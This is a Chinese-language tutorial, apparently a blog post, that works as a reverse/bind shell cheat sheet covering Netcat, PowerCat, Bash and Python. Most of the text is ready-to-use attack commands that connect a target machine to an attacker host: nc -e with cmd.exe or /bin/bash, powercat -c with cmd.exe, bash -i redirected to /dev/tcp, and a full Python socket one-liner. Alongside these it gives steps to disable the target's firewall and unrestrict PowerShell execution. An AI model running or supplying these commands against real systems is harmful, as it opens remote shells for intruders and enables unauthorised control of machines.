目录

一.Netcat反弹Shell

二.PowerCat反弹Shell

PowerCat和nc正向连接

PowerCat和nc反向连接

PowerCat和PowerCat反向连接

三.Bash反弹shell

四.Python 反弹Shell

---

一.Netcat反弹Shell

在Windows容易被杀

介绍：

Netcat简称NC,是一个简单、可靠的网络工具,被誉为网络界的瑞士军刀。通NC可以进行端口扫描、反弹Shell、端口监听和文件传输等操作,常用参数如下

注意：这里需要关闭靶机的防火墙，做NC反弹的时候，前提你也经控制了对方电脑

正向反弹：

场景：攻击机器和靶机都是在公网上，都能互ping，这个时候可以用正向反弾

利用：

1.在靶机上运行：

nc -lvvp 1111 -e C:\Windows\System32\cmd.exe windows机器

nc -lvvp 1111 -e /bin/bash linux机器

这里以Linux作演示

2在攻击机上运行：

nc -v 靶机IP 1111

3.拿到shell

反向反弹：

实验前提：

攻击机器在公网上，靶机在内网里面，这时候需要靶机反向链接攻击机器，也就是反向反弹

利用：

1在攻击者机器运行：

nc -lvvp 1111 监听1111端口

2.在靶机上运行 （反弹到公网）

nc -e C:\Windows\System32\cmd.exe 攻击IP 1111 windos机器

nc -e /bin/bash 攻击IP 1111 linux机器

这里用Linux作演示

3.拿到反向的shell

二.PowerCat反弹Shell

和NC作用一样，只能用于Windows

介绍：可以无文件落地

PowerCat是一个powershell写的tcp/ip瑞士军刀，看一看成ncat的powershell的实现，然后里面也加入了众多好用的功能，如文件上传，smb协议支持，中继模式，生成payload，端口扫描等等。

利用：

1.导入模块：

Import-Module .\powercat.ps1

如果提示未能加载指定模块，则可能是权限问题，输入如下代码

Set-ExecutionPolicy Unrestricted

PowerCat和nc正向连接

1、靶机使用powercat执行以下命令：

powercat -l -p 8080 -e cmd.exe -v

2、攻击机使用nc执行以下命令：

nc -v 靶机IP 8080 -vv

3.成功反弹

PowerCat和nc反向连接

1、靶机使用powercat执行以下命令

powercat -c 攻击机IP -p 8888 -v -e cmd.exe

2、攻击机使用nc执行以下命令:

nc -l -p 8888 -vv

3.成功反弹

PowerCat和PowerCat反向连接

1、靶机使用powercat执行以下命令：

powercat -c 攻击机器IP -p 9999 -v -ep

2、攻击机使用powercat执行以下命令：

powercat -l -p 9999 -v

3.成功反弹

三.Bash反弹shell

介绍：传输层的隧道

** Shell也称为终端或壳，是人与内核之间的翻译官，而Bash则是Linux中默认使用的Shell**

** Bash 反弹Shell的命令如下：**

bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&1

bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&2

bash -i >&/dev/udp/攻击机_IP/攻击机端口 0>&1

bash -i >&/dev/udp/攻击机_IP/攻击机端口 0>&2

利用：

1、攻击机器使用nc执行监听命令**

nc -lvvp 9999 监听 TCP

nc -lup 9999 监听UDP （UDP不稳定）

2、实验靶机执行连接命令

bash -i >&/dev/tcp/攻击机器IP/9999 0>&1

3.成功反弹

四.Python 反弹Shell

利用：

1、攻击机器使用nc执行监听命令

nc -lvvp 1111 监听 TCP

2、实验靶机执行连接命令

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机器IP",1111));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

3.成功反弹